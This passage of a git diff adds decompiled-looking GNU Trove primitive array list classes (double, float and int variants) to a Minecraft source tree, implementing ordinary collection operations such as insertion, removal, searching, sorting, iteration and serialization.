+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TDoubleList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TDoubleArrayList list = new TDoubleArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public double[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public double[] toArray(int offset, int len)
+  {
+    double[] rv = new double[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public double[] toArray(double[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public double[] toArray(double[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public double[] toArray(double[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TDoubleArrayList)) {
+      TDoubleArrayList that = (TDoubleArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TDoubleProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(double val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, double val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(double value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(double value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      double midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(double value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, double value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(double value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, double value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(double value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TDoubleList grep(TDoubleProcedure condition)
+  {
+    TDoubleArrayList list = new TDoubleArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TDoubleList inverseGrep(TDoubleProcedure condition)
+  {
+    TDoubleArrayList list = new TDoubleArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public double max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    double max = Double.NEGATIVE_INFINITY;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public double min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    double min = Double.POSITIVE_INFINITY;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TDoubleArrayIterator
+    implements TDoubleIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TDoubleArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public double next()
+    {
+      try
+      {
+        double next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeDouble(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeDouble(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readDouble();
+    
+
+    int len = in.readInt();
+    _data = new double[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readDouble();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/array/TFloatArrayList.java b/src/minecraft/gnu/trove/list/array/TFloatArrayList.java
new file mode 100644
index 0000000..5103c81
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TFloatArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.list.TFloatList;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatArrayList
+  implements TFloatList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected float[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected float no_entry_value;
+  
+  public TFloatArrayList()
+  {
+    this(10, 0.0F);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatArrayList(int capacity)
+  {
+    this(capacity, 0.0F);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatArrayList(int capacity, float no_entry_value)
+  {
+    _data = new float[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TFloatArrayList(TFloatCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatArrayList(float[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      float[] tmp = new float[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      float[] tmp = new float[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(float val)
+  {
+    ensureCapacity(_pos + 1);
+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(float[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(float[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, float value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, float[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, float[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public float get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public float getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, float val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public float replace(int offset, float val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    float old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, float[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, float[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, float val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new float[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(float value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public float removeAt(int offset)
+  {
+    float old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TFloatIterator iterator()
+  {
+    return new TFloatArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Float)) {
+        float c = ((Float)element).floatValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TFloatCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TFloatIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      float element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(float[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Float> collection)
+  {
+    boolean changed = false;
+    for (Float element : collection) {
+      float e = element.floatValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TFloatCollection collection)
+  {
+    boolean changed = false;
+    TFloatIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      float element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(float[] array)
+  {
+    boolean changed = false;
+    for (float element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TFloatIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Float.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TFloatCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TFloatIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(float[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    float[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Float)) {
+        float c = ((Float)element).floatValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TFloatCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TFloatIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      float element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(float[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    float tmp = _data[i];
+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TFloatList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TFloatArrayList list = new TFloatArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public float[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public float[] toArray(int offset, int len)
+  {
+    float[] rv = new float[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public float[] toArray(float[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public float[] toArray(float[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public float[] toArray(float[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TFloatArrayList)) {
+      TFloatArrayList that = (TFloatArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TFloatProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(float val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, float val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(float value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(float value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      float midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(float value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, float value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(float value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, float value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(float value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TFloatList grep(TFloatProcedure condition)
+  {
+    TFloatArrayList list = new TFloatArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TFloatList inverseGrep(TFloatProcedure condition)
+  {
+    TFloatArrayList list = new TFloatArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public float max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    float max = Float.NEGATIVE_INFINITY;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public float min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    float min = Float.POSITIVE_INFINITY;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TFloatArrayIterator
+    implements TFloatIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TFloatArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public float next()
+    {
+      try
+      {
+        float next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeFloat(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeFloat(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readFloat();
+    
+
+    int len = in.readInt();
+    _data = new float[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readFloat();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/array/TIntArrayList.java b/src/minecraft/gnu/trove/list/array/TIntArrayList.java
new file mode 100644
index 0000000..0cd7152
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TIntArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.list.TIntList;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntArrayList
+  implements TIntList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected int[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected int no_entry_value;
+  
+  public TIntArrayList()
+  {
+    this(10, 0);
+  }
+  
+
+
+
+
+
+
+
+  public TIntArrayList(int capacity)
+  {
+    this(capacity, 0);
+  }
+  
+
+
+
+
+
+
+
+  public TIntArrayList(int capacity, int no_entry_value)
+  {
+    _data = new int[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TIntArrayList(TIntCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TIntArrayList(int[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      int[] tmp = new int[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      int[] tmp = new int[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(int val)
+  {
+    ensureCapacity(_pos + 1);
+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(int[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(int[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, int value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, int[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, int[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public int get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public int getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, int val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public int replace(int offset, int val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    int old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, int[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, int[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, int val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new int[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(int value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public int removeAt(int offset)
+  {
+    int old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TIntIterator iterator()
+  {
+    return new TIntArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Integer)) {
